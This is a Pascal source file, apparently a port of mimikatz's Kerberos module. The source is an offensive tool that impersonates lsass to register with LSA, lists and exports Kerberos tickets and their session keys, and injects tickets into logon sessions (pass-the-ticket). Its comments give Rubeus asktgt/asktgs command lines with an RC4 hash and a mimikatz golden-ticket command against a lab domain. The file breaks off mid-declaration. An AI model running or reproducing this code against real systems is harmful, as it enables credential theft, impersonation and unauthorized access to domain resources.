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kerberos.pas
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unit kerberos;
{$mode delphi}
interface
uses
windows,SysUtils,
ntdll,uLSA,
urunelevatedsupport,
utils,
uadvapi32,usecur32,ucryptoapi,
winsock,dateutils,{jwanative,}jwantstatus{,jwawintype};
type
TKer = string;
const
//kerberosPackageName:STRING = {8, 9, MICROSOFT_KERBEROS_NAME_A};
g_AuthenticationPackageId_MSV:DWORD = 0;
g_AuthenticationPackageId_Kerberos:DWORD = 0;
g_isAuthPackageKerberos:BOOL = FALSE;
g_hLSA:HANDLE = 0;
function kuhl_m_kerberos_init:NTSTATUS;
function kuhl_m_kerberos_clean:NTSTATUS;
function kuhl_m_kerberos_use_ticket(fileData:PBYTE;fileSize:DWORD;logonid:int64=0):LONG; //aka import
function kuhl_m_kerberos_purge_ticket(logonid:int64=0):NTSTATUS;
function kuhl_m_kerberos_ask(target:string;export_:bool=false;logonid:int64=0):NTSTATUS; //aka export
function kuhl_m_kerberos_tgt(logonid:int64=0):NTSTATUS;
function kuhl_m_kerberos_list(logonid:int64=0):NTSTATUS;
function kuhl_m_kerberos_ask_session_key(target:string;export_:bool=false;logonid:int64=0):NTSTATUS;
function kuhl_m_msv_init:NTSTATUS;
function callback_enumlogonsession(param:pointer=nil):dword;stdcall;
function asktgt(key:tbytes):boolean;
implementation
type
PCWCHAR = PWCHAR;
LSA_OPERATIONAL_MODE=ULONG;
PLSA_OPERATIONAL_MODE=^LSA_OPERATIONAL_MODE;
{
KERB_ETYPE_ALGORITHM=(
KERB_ETYPE_RC4_HMAC_NT=23,
KERB_ETYPE_AES128_CTS_HMAC_SHA1_96=17,
KERB_ETYPE_AES256_CTS_HMAC_SHA1_96=18,
KERB_ETYPE_DES_CBC_MD5=3
);
}
//https://www.rdos.net/svn/tags/V9.2.5/watcom/bld/w32api/include/ntsecapi.mh
//{$PACKENUM 4}
KERB_PROTOCOL_MESSAGE_TYPE =(
KerbDebugRequestMessage = 0,
KerbQueryTicketCacheMessage,
KerbChangeMachinePasswordMessage,
KerbVerifyPacMessage,
KerbRetrieveTicketMessage,
KerbUpdateAddressesMessage,
KerbPurgeTicketCacheMessage,
KerbChangePasswordMessage,
KerbRetrieveEncodedTicketMessage,
KerbDecryptDataMessage,
KerbAddBindingCacheEntryMessage,//10
KerbSetPasswordMessage,
KerbSetPasswordExMessage,
//KerbAddExtraCredentialsMessage {= 17},
KerbVerifyCredentialsMessage,
KerbQueryTicketCacheExMessage,
KerbPurgeTicketCacheExMessage,
KerbRefreshSmartcardCredentialsMessage,
KerbAddExtraCredentialsMessage = 17,
KerbQuerySupplementalCredentialsMessage,
KerbTransferCredentialsMessage,
KerbQueryTicketCacheEx2Message, //20
KerbSubmitTicketMessage, //21
KerbAddExtraCredentialsExMessage,
KerbQueryKdcProxyCacheMessage,
KerbPurgeKdcProxyCacheMessage,
KerbQueryTicketCacheEx3Message,
KerbCleanupMachinePkinitCredsMessage,
KerbAddBindingCacheEntryExMessage,
KerbQueryBindingCacheMessage,
KerbPurgeBindingCacheMessage,
KerbPinKdcMessage,
KerbUnpinAllKdcsMessage,
KerbQueryDomainExtendedPoliciesMessage,
KerbQueryS4U2ProxyCacheMessage,
KerbRetrieveKeyTabMessage,
KerbRefreshPolicyMessage,
KerbPrintCloudKerberosDebugMessage
);
PKERB_PROTOCOL_MESSAGE_TYPE=^KERB_PROTOCOL_MESSAGE_TYPE;
//{$PACKENUM 1}
{
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING Password, PVOID pbKey);
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, ULONG Count, PVOID pbKey);
}
PKERB_ECRYPT_INITIALIZE=function(
pbKey:LPCVOID;
KeySize:ULONG;
MessageType:ULONG;
pContext:PPVOID): NTSTATUS; stdcall;
PKERB_ECRYPT_ENCRYPT=function(
pContext:PVOID;
pbInput:LPCVOID;
cbInput:ULONG;
pbOutput:PVOID;
cbOutput:PULONG): NTSTATUS; stdcall;
PKERB_ECRYPT_DECRYPT=function(
pContext:PVOID;
pbInput:LPCVOID;
cbInput:ULONG;
pbOutput:PVOID;
cbOutput:PULONG): NTSTATUS; stdcall;
PKERB_ECRYPT_FINISH=function (pContext:PPVOID): NTSTATUS; stdcall;
PKERB_ECRYPT_RANDOMKEY=function (
Seed:LPCVOID;
SeedLength:ULONG;
pbKey:PVOID): NTSTATUS; stdcall;
PKERB_ECRYPT_CONTROL=function (
Function_:ULONG;
pContext:PVOID;
InputBuffer:PUCHAR;
InputBufferSize:ULONG): NTSTATUS; stdcall;
KERB_ECRYPT =record
EncryptionType:ULONG;
BlockSize:ULONG;
ExportableEncryptionType:ULONG;
KeySize:ULONG;
HeaderSize:ULONG;
PreferredCheckSum:ULONG;
Attributes:ULONG;
Name:PCWSTR;
Initialize:PKERB_ECRYPT_INITIALIZE;
Encrypt:PKERB_ECRYPT_ENCRYPT;
Decrypt:PKERB_ECRYPT_DECRYPT;
Finish:PKERB_ECRYPT_FINISH;
HashPassword:pointer;
// union {
// PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
// PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
//};
RandomKey:PKERB_ECRYPT_RANDOMKEY;
Control:PKERB_ECRYPT_CONTROL;
unk0_null:PVOID;
unk1_null:PVOID;
unk2_null:PVOID;
end;
PKERB_ECRYPT=^KERB_ECRYPT;
PPKERB_ECRYPT=^PKERB_ECRYPT;
KERB_CRYPTO_KEY =record
KeyType:LONG;
Length:ULONG;
Value:PUCHAR;
end;
PKERB_CRYPTO_KEY=^KERB_CRYPTO_KEY;
KERB_EXTERNAL_NAME =record
NameType:SHORT;
NameCount:USHORT;
Names:array[0..0] of UNICODE_STRING; //ANYSIZE_ARRAY
end;
PKERB_EXTERNAL_NAME=^KERB_EXTERNAL_NAME;
KERB_EXTERNAL_TICKET =record
ServiceName:PKERB_EXTERNAL_NAME;
TargetName:PKERB_EXTERNAL_NAME;
ClientName:PKERB_EXTERNAL_NAME;
DomainName:UNICODE_STRING;
TargetDomainName:UNICODE_STRING;
AltTargetDomainName:UNICODE_STRING; // contains ClientDomainName
SessionKey:KERB_CRYPTO_KEY;
TicketFlags:ULONG;
Flags:ULONG;
KeyExpirationTime:LARGE_INTEGER;
StartTime:LARGE_INTEGER;
EndTime:LARGE_INTEGER;
RenewUntil:LARGE_INTEGER;
TimeSkew:LARGE_INTEGER;
EncodedTicketSize:ULONG;
EncodedTicket:PUCHAR;
end;
PKERB_EXTERNAL_TICKET=^KERB_EXTERNAL_TICKET;
SecHandle=record
dwLower:ULONG_PTR ;
dwUpper:ULONG_PTR ;
end;
PSecHandle=^SecHandle;
type _LUID =record
LowPart:DWORD;
HighPart:LONG;
end;
KERB_TICKET_CACHE_INFO_EX =record
ClientName:UNICODE_STRING;
ClientRealm:UNICODE_STRING;
ServerName:UNICODE_STRING;
ServerRealm:UNICODE_STRING;
StartTime:LARGE_INTEGER;
EndTime:LARGE_INTEGER;
RenewTime:LARGE_INTEGER;
EncryptionType:LONG;
TicketFlags:ULONG;
end;
PKERB_TICKET_CACHE_INFO_EX=^KERB_TICKET_CACHE_INFO_EX;
KERB_QUERY_TKT_CACHE_EX_RESPONSE =record
MessageType:KERB_PROTOCOL_MESSAGE_TYPE; //dword?
CountOfTickets:ULONG;
Tickets:array [0..0] of KERB_TICKET_CACHE_INFO_EX;
end;
PKERB_QUERY_TKT_CACHE_EX_RESPONSE=^KERB_QUERY_TKT_CACHE_EX_RESPONSE;
KERB_QUERY_TKT_CACHE_REQUEST =record
MessageType:KERB_PROTOCOL_MESSAGE_TYPE; //dword?
LogonId:_LUID;
end;
PKERB_QUERY_TKT_CACHE_REQUEST=^KERB_QUERY_TKT_CACHE_REQUEST;
KERB_RETRIEVE_TKT_REQUEST =record
MessageType:KERB_PROTOCOL_MESSAGE_TYPE;
LogonId:_LUID;
TargetName:UNICODE_STRING;
TicketFlags:ULONG;
CacheOptions:ULONG;
EncryptionType:LONG;
CredentialsHandle:SecHandle;
end;
PKERB_RETRIEVE_TKT_REQUEST=^KERB_RETRIEVE_TKT_REQUEST;
KERB_RETRIEVE_TKT_RESPONSE =record
Ticket:KERB_EXTERNAL_TICKET;
end;
PKERB_RETRIEVE_TKT_RESPONSE=^KERB_RETRIEVE_TKT_RESPONSE;
KERB_PURGE_TKT_CACHE_REQUEST =record
MessageType:KERB_PROTOCOL_MESSAGE_TYPE;
LogonId:_LUID;
ServerName:UNICODE_STRING;
RealmName:UNICODE_STRING;
end;
PKERB_PURGE_TKT_CACHE_REQUEST=^KERB_PURGE_TKT_CACHE_REQUEST;
KIWI_KERBEROS_BUFFER =record
Length:ULONG;
Value:PUCHAR;
end;
PKIWI_KERBEROS_BUFFER=^KIWI_KERBEROS_BUFFER;
KIWI_KERBEROS_TICKET=record
ServiceName:PKERB_EXTERNAL_NAME;
DomainName:UNICODE_STRING; //LSA_UNICODE_STRING;
TargetName:PKERB_EXTERNAL_NAME;
TargetDomainName:UNICODE_STRING; //LSA_UNICODE_STRING;
ClientName:PKERB_EXTERNAL_NAME;
AltTargetDomainName:UNICODE_STRING; //LSA_UNICODE_STRING;
Description:UNICODE_STRING; //LSA_UNICODE_STRING;
StartTime:FILETIME;
EndTime:FILETIME;
RenewUntil:FILETIME;
KeyType:LONG;
Key:KIWI_KERBEROS_BUFFER;
TicketFlags:ULONG;
TicketEncType:LONG;
TicketKvno:ULONG;
Ticket:KIWI_KERBEROS_BUFFER;
end;
PKIWI_KERBEROS_TICKET=^KIWI_KERBEROS_TICKET;
KERB_CRYPTO_KEY32 = record
KeyType:LONG;
Length:ULONG;
Offset:ULONG;
end;
PKERB_CRYPTO_KEY32=^KERB_CRYPTO_KEY32;
KERB_SUBMIT_TKT_REQUEST = packed record //needs to be 36 bytes
MessageType: dword; //KERB_PROTOCOL_MESSAGE_TYPE;
LogonId: _LUID;
Flags: ULONG;
Key: KERB_CRYPTO_KEY32;
KerbCredSize: ULONG;
KerbCredOffset: ULONG;
end;
PKERB_SUBMIT_TKT_REQUEST=^KERB_SUBMIT_TKT_REQUEST;
var
CDLocateCSystem:function(Type_:ULONG; ppCSystem:PPKERB_ECRYPT): NTSTATUS; stdcall=nil;
const
STATUS_HANDLE_NO_LONGER_VALID=$C0190028;
STATUS_UNSUCCESSFUL=$c0000001;
// Ticket Flags
KERB_USE_DEFAULT_TICKET_FLAGS =$0;
// CacheOptions
KERB_RETRIEVE_TICKET_DEFAULT =$0;
KERB_RETRIEVE_TICKET_DONT_USE_CACHE =$1;
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY =$2;
KERB_RETRIEVE_TICKET_USE_CREDHANDLE =$4;
KERB_RETRIEVE_TICKET_AS_KERB_CRED =$8;
KERB_RETRIEVE_TICKET_WITH_SEC_CRED =$10;
KERB_RETRIEVE_TICKET_CACHE_TICKET =$20;
KERB_ETYPE_NULL =0;
KERB_ETYPE_DEFAULT =0;
KERB_ETYPE_DES_CBC_MD5_NT =20;
KERB_ETYPE_RC4_HMAC_NT =23;
KERB_ETYPE_RC4_HMAC_NT_EXP =24;
KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP=1;
KRB_KEY_USAGE_AS_REP_TGS_REP=2;
PA_TYPE_TGS_REQ= 1;
PA_TYPE_ENC_TIMESTAMP= 2;
STATUS_NO_TRUST_SAM_ACCOUNT= $C000018B;
SEC_E_NO_CREDENTIALS =$8009030E;
function callback_enumlogonsession(param:pointer=nil):dword;stdcall;
begin
if param<>nil then
begin
//log('LUID:'+inttohex(int64(PSECURITY_LOGON_SESSION_DATA(param)^.LogonId) ,8),1);
kuhl_m_kerberos_list (int64(PSECURITY_LOGON_SESSION_DATA(param)^.LogonId));
end;
end;
{
function encrypt_time(key,buffer:tbytes):boolean;
begin
//md5 $00008003
//ecb 2
result:=EnCryptDecrypt(CALG_RC4,$00008003,2,key,buffer,false);
end;
}
function kuhl_m_kerberos_decrypt(eType:{KERB_ETYPE_ALGORITHM}ulong; keyUsage:integer; key:tbytes;data:tbytes):tbytes;
var
pCSystem:KERB_ECRYPT;
pCSystemPtr:pointer=nil;
status:ntstatus;
pContext:pvoid=nil;
pCSystemInitialize:PKERB_ECRYPT_INITIALIZE=nil;
pCSystemDecrypt:PKERB_ECRYPT_Decrypt=nil;
pCSystemFinish:PKERB_ECRYPT_Finish=nil;
outputSize:ulong;
output:tbytes;
begin
log('**** kuhl_m_kerberos_decrypt ****');
log('key:'+ByteToHexaString (key));
log('data:'+ByteToHexaString (data));
if @CDLocateCSystem=nil then CDLocateCSystem:=getProcAddress(loadlibrary('cryptdll.dll'),'CDLocateCSystem');
status:=CDLocateCSystem(eType, @pCSystemPtr);
log('status:'+inttohex(status,8));
if (status <> 0) then
begin log('Error on CDLocateCSystem',1);exit;end;
pCSystem := PKERB_ECRYPT(pCSystemPtr)^;
log('AlgName:'+strpas(pCSystem.Name)); ;
pCSystemInitialize := PKERB_ECRYPT_INITIALIZE(pCSystem.Initialize);
pCSystemDecrypt := PKERB_ECRYPT_Decrypt(pCSystem.Decrypt);
pCSystemFinish := PKERB_ECRYPT_Finish(pCSystem.Finish);
status := pCSystemInitialize(@key[0], length(key), keyUsage, @pContext);
if (status <> 0) then
begin log('Error on pCSystemInitialize:'+inttohex(status,8),1);exit;end;
outputSize := length(data);
//next 2 instructions are may be not needed while decrypting
{
if(outputSize mod pCSystem.BlockSize <> 0)
then outputSize :=outputSize+ pCSystem.BlockSize - (outputSize mod pCSystem.BlockSize);
outputSize := outputSize + sizeof(pCSystem);
}
setlength(output,outputSize); //zeroed
status := pCSystemDecrypt(pContext, @data[0], length(data), @output[0], @outputSize);
log('outputSize:'+inttostr(outputSize));
if status=0 then setlength(output,outputsize);
if (status <> 0) then
begin log('Error on pCSystemDecrypt:'+inttohex(status,8),1);;end;
pCSystemFinish(@pContext);
log('output:'+ByteToHexaString (@output[0],outputSize));
result:= output;
//0xC0000001 STATUS_UNSUCCESSFUL
end;
function kuhl_m_kerberos_encrypt(eType:{KERB_ETYPE_ALGORITHM}ulong; keyUsage:integer; key:tbytes;data:tbytes):tbytes;
var
pCSystem:KERB_ECRYPT;
pCSystemPtr:pointer=nil;
status:ntstatus;
pContext:pvoid=nil;
pCSystemInitialize:PKERB_ECRYPT_INITIALIZE=nil;
pCSystemEncrypt:PKERB_ECRYPT_Encrypt=nil;
pCSystemFinish:PKERB_ECRYPT_Finish=nil;
outputSize:ulong;
output:tbytes;
begin
log('**** kuhl_m_kerberos_encrypt ****');
log('key:'+ByteToHexaString (key));
log('data:'+ByteToHexaString (data));
if @CDLocateCSystem=nil then CDLocateCSystem:=getProcAddress(loadlibrary('cryptdll.dll'),'CDLocateCSystem');
status:=CDLocateCSystem(eType, @pCSystemPtr);
log('status:'+inttohex(status,8));
if (status <> 0) then
begin log('Error on CDLocateCSystem',1);exit;end;
pCSystem := PKERB_ECRYPT(pCSystemPtr)^;
log('AlgName:'+strpas(pCSystem.Name)); ;
pCSystemInitialize := PKERB_ECRYPT_INITIALIZE(pCSystem.Initialize);
pCSystemEncrypt := PKERB_ECRYPT_Encrypt(pCSystem.Encrypt);
pCSystemFinish := PKERB_ECRYPT_Finish(pCSystem.Finish);
status := pCSystemInitialize(@key[0], length(key), keyUsage, @pContext);
if (status <> 0) then
begin log('Error on pCSystemInitialize:'+inttohex(status,8),1);exit;end;
outputSize := length(data);
//writeln('BlockSize:'+inttostr(pCSystem.BlockSize));
//writeln('HeaderSize:'+inttostr(pCSystem.HeaderSize));
//writeln('sizeof(pCSystem):'+inttostr(sizeof(pCSystem)));
//writeln('modulo:'+inttostr(outputSize mod pCSystem.BlockSize));
//we round up to next multiple of blocksize
//ex 45 with blocksize=8 - 45 mod 8 =5 - 45 +8 -3=48
if(outputSize mod pCSystem.BlockSize) <> 0
then outputSize :=outputSize+ pCSystem.BlockSize - (outputSize mod pCSystem.BlockSize);
outputSize := outputSize +pCSystem.HeaderSize; //sizeof(pCSystem); //pCSystem.HeaderSize
setlength(output,outputSize); //zeroed
status := pCSystemEncrypt(pContext, @data[0], length(data), @output[0], @outputSize);
log('outputSize:'+inttostr(outputSize));
if status=0 then setlength(output,outputsize);
if (status <> 0) then
begin log('Error on pCSystemEncrypt:'+inttohex(status,8),1);;end;
pCSystemFinish(@pContext);
log('output:'+ByteToHexaString (@output[0],outputSize));
result:= output;
//0xC0000001 STATUS_UNSUCCESSFUL
end;
function UNICODE_STRING_to_ANSISTRING(input:UNICODE_STRING):ansistring;
var s:ansistring;
begin
log('******* UNICODE_STRING_to_ANSISTRING *******');
//log(input.Length );
s:=strpas(input.Buffer );
s:=copy(s,1,input.Length div 2 );
result:=s;
//log(s);
end;
function kuhl_m_msv_init:NTSTATUS;
var
status:NTSTATUS;
kerberosPackageName:LSA_STRING ;
ProcessName:LSA_STRING ;
securitymode:LSA_OPERATIONAL_MODE=0;
old:boolean;
begin
log('******* kuhl_m_kerberos_init **********');
ProcessName.Length :=8;
ProcessName.MaximumLength :=9;
ProcessName.Buffer :='Minlogon' ;
//0xC0000041 STATUS_PORT_CONNECTION_REFUSED
//0xC000007C STATUS_NO_TOKEN
if iselevated=true
then
begin
status:=LsaRegisterLogonProcess(@ProcessName,@g_hLSA,@securitymode);
RevertToSelf;
end
else status := LsaConnectUntrusted(@g_hLSA);
if status=STATUS_SUCCESS then
begin
log('LsaLookupAuthenticationPackage...');
fillchar(kerberosPackageName ,sizeof(kerberosPackageName),0);
kerberosPackageName.Length :=8;
kerberosPackageName.MaximumLength :=9;
kerberosPackageName.Buffer :='MSV1_0_PACKAGE_NAME' ;
status := LsaLookupAuthenticationPackage(g_hLSA, @kerberosPackageName, @g_AuthenticationPackageId_Kerberos);
log('status:'+inttohex(status,8));
g_isAuthPackageKerberos := status=STATUS_SUCCESS;
writeln('ok');
end
else log('kuhl_m_kerberos_init failed:'+inttohex(status,8),1);
result:= status;
end;
function kuhl_m_kerberos_init:NTSTATUS;
var
status:NTSTATUS;
kerberosPackageName:LSA_STRING ;
ProcessName:LSA_STRING ;
securitymode:LSA_OPERATIONAL_MODE=0;
old:boolean;
begin
log('******* kuhl_m_kerberos_init **********');
ProcessName.Length :=8;
ProcessName.MaximumLength :=9;
ProcessName.Buffer :='Minlogon' ;
//0xC0000041 STATUS_PORT_CONNECTION_REFUSED
//0xC000007C STATUS_NO_TOKEN
if iselevated=true
then
begin
log('iselevated=true');
log('impersonatepid:'+booltostr(impersonatepid (lsass_pid)));
status:=LsaRegisterLogonProcess(@ProcessName,@g_hLSA,@securitymode);
RevertToSelf;
{if status=$C0000041 then
begin
log('trying RtlAdjustPrivilege');
Status := RtlAdjustPrivilege(ulong(SeTcbPrivilege), TRUE, false, @Old); //and try again
//log('SeTcbPrivilege:'+booltostr(EnableDebugPriv('SeTcbPrivilege')));
if status=0
then status:=LsaRegisterLogonProcess(@ProcessName,@g_hLSA,@securitymode)
else log('RtlAdjustPrivilege failed:'+inttohex(status,8));
end}
end
else status := LsaConnectUntrusted(@g_hLSA);
if status=STATUS_SUCCESS then
begin
log('LsaLookupAuthenticationPackage...');
fillchar(kerberosPackageName ,sizeof(kerberosPackageName),0);
kerberosPackageName.Length :=8;
kerberosPackageName.MaximumLength :=9;
kerberosPackageName.Buffer :='Kerberos' ;
status := LsaLookupAuthenticationPackage(g_hLSA, @kerberosPackageName, @g_AuthenticationPackageId_Kerberos);
log('status:'+inttohex(status,8));
g_isAuthPackageKerberos := status=STATUS_SUCCESS;
end
else log('kuhl_m_kerberos_init failed:'+inttohex(status,8),1);
result:= status;
end;
function kuhl_m_kerberos_clean:NTSTATUS;
begin
log('******* kuhl_m_kerberos_clean **********');
result:= LsaDeregisterLogonProcess(g_hLSA);
end;
function LsaCallKerberosPackage( ProtocolSubmitBuffer:PVOID; SubmitBufferLength:ULONG; ProtocolReturnBuffer:PPVOID; ReturnBufferLength:PULONG; ProtocolStatus:PNTSTATUS):ntstatus;
var
status:NTSTATUS;
begin
status:= STATUS_HANDLE_NO_LONGER_VALID;
//if(g_hLSA && g_isAuthPackageKerberos)
status := LsaCallAuthenticationPackage(g_hLSA, g_AuthenticationPackageId_Kerberos, ProtocolSubmitBuffer, SubmitBufferLength, ProtocolReturnBuffer, ReturnBufferLength, ProtocolStatus);
result:= status;
end;
//to obtain a tgt ticket and import it with /ptt
//Rubeus.exe asktgt /user:user1 /rc4:64F12CDDAA88057E06A81B54E73B949B /dc:192.168.1.121 /domain:home.lab /outfile:ticket.kirbi /ptt
//to obtain a tgs ticket and import it with /ptt (note that we can also export a tgs ticket with /outfile)
//Rubeus.exe asktgs /service:cifs/WIN-BBC4BS466Q5.home.lab /dc:WIN-BBC4BS466Q5.home.lab /domain:home.lab /ptt /ticket:ticket.kirbi
//Rubeus.exe asktgs /service:LDAP/WIN-BBC4BS466Q5.home.lab,cifs/WIN-BBC4BS466Q5.home.lab /dc:WIN-BBC4BS466Q5.home.lab /domain:home.lab /ptt /ticket:ticket.kirbi
//to list tickets
//rubeus triage or klist or kerberos::tickets (mimikatz)
//you can test a tgs ticket with
//dir \\WIN-BBC4BS466Q5.home.lab\temp provided that temp is a shared folder where user1 has access
//note1: you only need to import the tgs although important the tgt does not harm
//note2: we could create a netonly extra session and provide the new session LUID to not alter current session...
//note3 :
//https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
//"Il suffit de demander la parcours d’un partage pour qu’un Ticket de service ad hoc soit demandé en se basant sur le TGT injecté."
//pas le meme comportement : il faut importer un tgs pour pouvoir utiliser un service distant
//note4 : create a tgs ticket without creating a tgt first ?
//kerberos::golden /domain:home.lab /rc4:64F12CDDAA88057E06A81B54E73B949B /user:user1 /service:cifs /target:WIN-BBC4BS466Q5.home.lab
//->expired?
function kuhl_m_kerberos_use_ticket(fileData:PBYTE;fileSize:DWORD;logonid:int64=0):LONG;
var
status:NTSTATUS = STATUS_UNSUCCESSFUL;
packageStatus:NTSTATUS;
submitSize, responseSize:DWORD;
pKerbSubmit:PKERB_SUBMIT_TKT_REQUEST;
dumPtr:PVOID;
begin
log('********* kuhl_m_kerberos_use_ticket *************');
log('fileSize:'+inttostr(fileSize));
//log('sizeof(KERB_PROTOCOL_MESSAGE_TYPE):'+inttostr(sizeof(KERB_PROTOCOL_MESSAGE_TYPE))); //should be 4. see packenum directive
//log('sizeof(KERB_CRYPTO_KEY32):'+inttostr(sizeof(KERB_CRYPTO_KEY32)));
//log('sizeof(KERB_SUBMIT_TKT_REQUEST):'+inttostr(sizeof(KERB_SUBMIT_TKT_REQUEST))); //should be 36
submitSize := sizeof(KERB_SUBMIT_TKT_REQUEST) + fileSize;
pKerbSubmit := AllocMem(submitSize);
log('submitSize:'+inttostr(submitSize));
if pKerbSubmit <>nil then
begin
if logonid<>0 then
begin
pKerbSubmit^.LogonId.HighPart :=_LUID(logonid).HighPart ;
pKerbSubmit^.LogonId.LowPart :=_LUID(logonid).LowPart ;
log('LUID:'+inttohex(logonid,8));
end;
pKerbSubmit^.MessageType := dword(KerbSubmitTicketMessage);
pKerbSubmit^.KerbCredSize := fileSize;
pKerbSubmit^.KerbCredOffset := sizeof(KERB_SUBMIT_TKT_REQUEST);
//log('KerbCredOffset:'+inttostr(pKerbSubmit^.KerbCredOffset)); //should be 36
//RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, fileData, pKerbSubmit->KerbCredSize);
CopyMemory(pointer(nativeuint(pKerbSubmit)+ pKerbSubmit^.KerbCredOffset),fileData,pKerbSubmit^.KerbCredSize);
status := LsaCallKerberosPackage(pKerbSubmit, submitSize, @dumPtr, @responseSize, @packageStatus);
if status=STATUS_SUCCESS then
begin
if packageStatus=STATUS_SUCCESS then
begin
if logonid<>0
then log('Ticket successfully submitted for session '+inttohex(logonid,8),1)
else log('Ticket successfully submitted for current session',1);
status := STATUS_SUCCESS;
end
else log('LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : '+inttohex( packageStatus,8));
end
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
//C0000140 STATUS_INVALID_CONNECTION
//C0000061 STATUS_PRIVILEGE_NOT_HELD
//C000005F STATUS_NO_SUCH_LOGON_SESSION
//C000005E STATUS_NO_LOGON_SERVERS
else log('LsaCallAuthenticationPackage KerbSubmitTicketMessage : '+inttohex( status,8),1);
freemem(pKerbSubmit);
end;
result:= status;
end;
function kuhl_m_kerberos_purge_ticket(logonid:int64=0):NTSTATUS;
var
status, packageStatus:NTSTATUS;
kerbPurgeRequest:KERB_PURGE_TKT_CACHE_REQUEST; //= (KerbPurgeTicketCacheMessage, (0, 0), (0, 0, nil), (0, 0, nil));
dumPtr:PVOID;
responseSize:DWORD;
begin
log('******* kuhl_m_kerberos_purge_ticket *******');
fillchar(kerbPurgeRequest ,sizeof(kerbPurgeRequest),0);
if logonid<>0 then
begin
kerbPurgeRequest.LogonId.HighPart :=_luid(logonid).HighPart ;
kerbPurgeRequest.LogonId.LowPart :=_luid(logonid).LowPart ;
log('LUID:'+inttohex(LogonId,8));
end;
kerbPurgeRequest.MessageType :=KerbPurgeTicketCacheMessage;
status := LsaCallKerberosPackage(@kerbPurgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), @dumPtr, @responseSize, @packageStatus);
if status=STATUS_SUCCESS then
begin
if packageStatus=STATUS_SUCCESS
then
begin
if logonid<>0
then log('Ticket(s) purge for session '+inttohex(logonid,8)+' is OK',1)
else log('Ticket(s) purge for current session is OK',1);
end
else log('LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage / Package : '+inttohex(packageStatus,8),1);
end
else log('LsaCallAuthenticationPackage KerbPurgeTicketCacheMessage : ' +inttohex(status,8),1);
//C000005F STATUS_NO_SUCH_LOGON_SESSION
//0xC0000140 STATUS_INVALID_CONNECTION
result:= STATUS_SUCCESS;
end;
function kull_m_file_writeData(fileName:pchar; data:LPCVOID; lenght:DWORD):BOOL;
var
reussite:BOOL = FALSE;
dwBytesWritten:DWORD = 0; i:dword;
hFile:HANDLE = 0;
//base64:LPWSTR;
begin
log('filename:'+strpas(filename));
log('lenght:'+inttostr(lenght));
hFile:=CreateFile(fileName, GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
if (WriteFile(hFile, data^, lenght, dwBytesWritten, nil) and (lenght = dwBytesWritten))
then reussite := FlushFileBuffers(hFile);
CloseHandle(hFile);
log('dwBytesWritten:'+inttostr(dwBytesWritten));
end;
result:= reussite;
end;
function kull_m_string_displayFileTime( pFileTime:PFILETIME):string;
var
st:SYSTEMTIME;
buffer:array[0..254] of widechar;
begin
if pFileTime<>NIL then
if FileTimeToSystemTime(pFileTime, @st ) then
result:=(DateTimeToStr ( SystemTimeToDateTime(st)));
end ;
function kull_m_string_displayLocalFileTime(pFileTime:PFILETIME):string;
var
ft:FILETIME;
begin
if pFileTime<>nil then
if FileTimeToLocalFileTime(pFileTime, @ft) then
result:=kull_m_string_displayFileTime(@ft);
end;
procedure kuhl_m_kerberos_ticket_display(ticket:PKIWI_KERBEROS_TICKET; withKey:BOOL; encodedTicketToo:BOOL);
var
i:integer;
s:string;
begin
log('******* kuhl_m_kerberos_ticket_display *******');
log('StartTime:'+kull_m_string_displayLocalFileTime(@ticket^.StartTime),1);
log('EndTime:'+kull_m_string_displayLocalFileTime(@ticket^.EndTime),1);
log('RenewUntil:'+kull_m_string_displayLocalFileTime(@ticket^.RenewUntil),1);
if (ticket^.ServiceName<>nil) and (ticket^.ServiceName^.NameCount >=1) then
begin
s:='';
for i:=0 to ticket^.ServiceName.NameCount-1 do
begin
s:=s+UNICODE_STRING_to_ANSISTRING (ticket^.ServiceName.Names [i])+'/'; //copy(strpas(ticket^.ServiceName.Names [i].Buffer),1,ticket^.ServiceName.Names [i].Length div 2 ) +'/';
end;
delete(s,length(s),1);
log('ServiceName: '+ s , 1);
end;
if (ticket^.TargetName<>nil) and (ticket^.TargetName^.NameCount >=1) then log('TargetName: '+ UNICODE_STRING_to_ANSISTRING(ticket^.TargetName.Names [0]) , 1);
if (ticket^.ClientName<>nil) and (ticket^.ClientName^.NameCount >=1) then log('ClientName: '+ UNICODE_STRING_to_ANSISTRING (ticket^.ClientName.Names [0]) , 1);
if (ticket^.Description.Buffer<>nil) then log('Description:'+strpas(ticket^.Description.Buffer),1);
log('Flags: '+inttohex(ticket^.TicketFlags,8),1);
log('KeyType: '+inttohex(ticket^.KeyType ,8),1);
if (ticket^.Key.Value<>nil) then log('Key:'+ByteToHexaString (ticket^.Key.Value, ticket^.Key.Length),1);
log('TicketEncType: '+inttohex(ticket^.TicketEncType ,8),1);
if (ticket^.Ticket.Value <>nil) then log('Ticket:'+ByteToHexaString (ticket^.Ticket.Value, ticket^.Key.Length),1);
end;
//kerberos::ask /target:cifs/WIN-BBC4BS466Q5.home.lab
//kerberos::ask /target:cifs/WIN-BBC4BS466Q5.home.lab
function kuhl_m_kerberos_ask(target:string;export_:bool=false;logonid:int64=0):NTSTATUS;
var
status, packageStatus:NTSTATUS;
filename:string ;
ticketname:PWCHAR = nil;
szTarget:PCWCHAR;
pKerbRetrieveRequest:PKERB_RETRIEVE_TKT_REQUEST;
pKerbRetrieveResponse:PKERB_RETRIEVE_TKT_RESPONSE;
ticket:KIWI_KERBEROS_TICKET; // = {0};
szData:DWORD;
dwTarget:USHORT;
isExport:BOOL=false; //kull_m_string_args_byName(argc, argv, L"export", NULL, NULL),
isTkt:BOOL=false; //kull_m_string_args_byName(argc, argv, L"tkt", NULL, NULL),
